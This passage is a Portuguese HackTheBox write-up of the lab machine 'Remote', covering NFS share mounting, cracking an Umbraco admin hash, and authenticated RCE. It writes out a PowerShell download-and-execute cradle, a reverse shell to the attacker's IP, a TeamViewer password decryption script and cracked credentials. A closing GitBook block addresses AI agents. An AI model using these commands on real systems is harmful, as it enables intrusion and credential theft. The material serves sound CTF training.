> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Writeup do HackTheBox Remote Writeup da máquina Easy Windows Remote do HackTheBox cobrindo enumeração web, enumeração NFS - showmount, vazamento de informações, abuso do painel admin Umbraco, com enumeração prática, exploração, footho {% embed url="" %} {% hint style="warning" %} **Habilidades**: * Enumeração Web * Enumeração NFS - Showmount * Vazamento de Informações * Abusando do Painel de Administração do Umbraco * Umbraco CMS - Execução Remota de Código por administradores autenticados * Obtendo a senha do TeamViewer a partir dos registros do sistema (AES128 - CBC) (Escalada de Privilégio) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versões de portas com Nmap :**/ Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

### Web (porta 80): ```bash whatweb http://remote.htb ```

### SMB - porta 445 Lista **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **Cliente SMB (sessão nula):** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) anônimo Temos a capacidade de nos conectar via FTP com o usuário anônimo, mas não podemos nem listar nem adicionar arquivos. ```bash ftp 10.10.10.180 put test.txt ```

## Serviço NFS (porta 2049) {% hint style="info" %} O Network File System (NFS) é um protocolo de nível de aplicação do modelo OSI. Ele é usado para criar sistemas de arquivos distribuídos em uma rede local, permitindo que diferentes sistemas conectados acessem arquivos remotos como se fossem locais. {% endhint %} Para listar os arquivos com `mount`: ```bash showmount -e 10.10.10.180 ``` Vemos uma `/site_backups` que pode ser vista por todos.

Para importar este arquivo, você precisa criar um diretório e montá-lo em nossa máquina da seguinte forma: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

Com `tree`, listaremos todas as pastas na estrutura para ter uma ideia: ``` tree -L 2 ``` Vemos uma `.config` configuração e `sdf` pasta do banco de dados Umbraco (um CMS) da porta 80.

O `.conf` arquivo não contém nada interessante, e o `umbraco.sdf` é um arquivo binário.

Usaremos `strings` para exibir os caracteres visíveis e colocá-los em nosso diretório para análise detalhada: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Encontramos senhas de "admin" e um usuário "smith".

### Quebra de senha: Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin: `baconandcheese` #### Como o SMB está exposto, use o CrackMapExec para autenticar e validar o acesso ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### nenhum efeito

## Vulnerabilidade RCE (Umbraco CMS) Encontramos um painel de administração e tentaremos a autenticação do usuário admin: `admin@htb.local:baconandcheese`

Temos acesso.

Vamos procurar `Searchsploit` as vulnerabilidades deste CMS e encontramos um script de NCE para o Umbraco.

`searchsploit -m aspx/webapps/46153.py` Vamos alterar as configurações de login, senha e host no script.

**Verifique a conectividade com ping:**/ Executaremos este comando no servidor e escutaremos com tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para nossa máquina. {% embed url="" %} No final do script, adicionamos a seguinte linha: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Vamos criar um servidor web com o `PS.ps1` script: ```bash python3 -m http.server 80 ``` Em seguida, vamos modificar o comando para apontar para o nosso servidor web: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Por fim, ouvimos a porta 4444: ```bash rlwrap nc -nlvp 4444 ```

Acesso ao `user.txt` arquivo e descobrindo que o TeamViewer está instalado

## Escalada de privilégios: Se você olhar as tarefas em execução, poderá ver a versão 7 do TeamViewer. ```powershell tasklist /svc ```

Ao pesquisar os scripts do Metasploit, encontramos um que pode recuperar a senha do TeamViewer: ```powershell locate teamviewer | grep metasploit ```

Ao analisar o script, você primeiro precisa obter a chave (dependendo da versão) do registro: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Em seguida, as propriedades de segurança devem ser examinadas, especialmente a senha AES: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Coloque os seguintes bytes em `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Script de Automação em Python: Aqui está o script que automatiza todo o processo: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

A senha é `!R3m0te!`. Vamos verificar com o CrackMapExec se a senha está correta para o usuário `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Conectamo-nos com o Evil-WinRM, pois o serviço remoto de administração do Windows está ativo na porta 5985:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Flag root final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.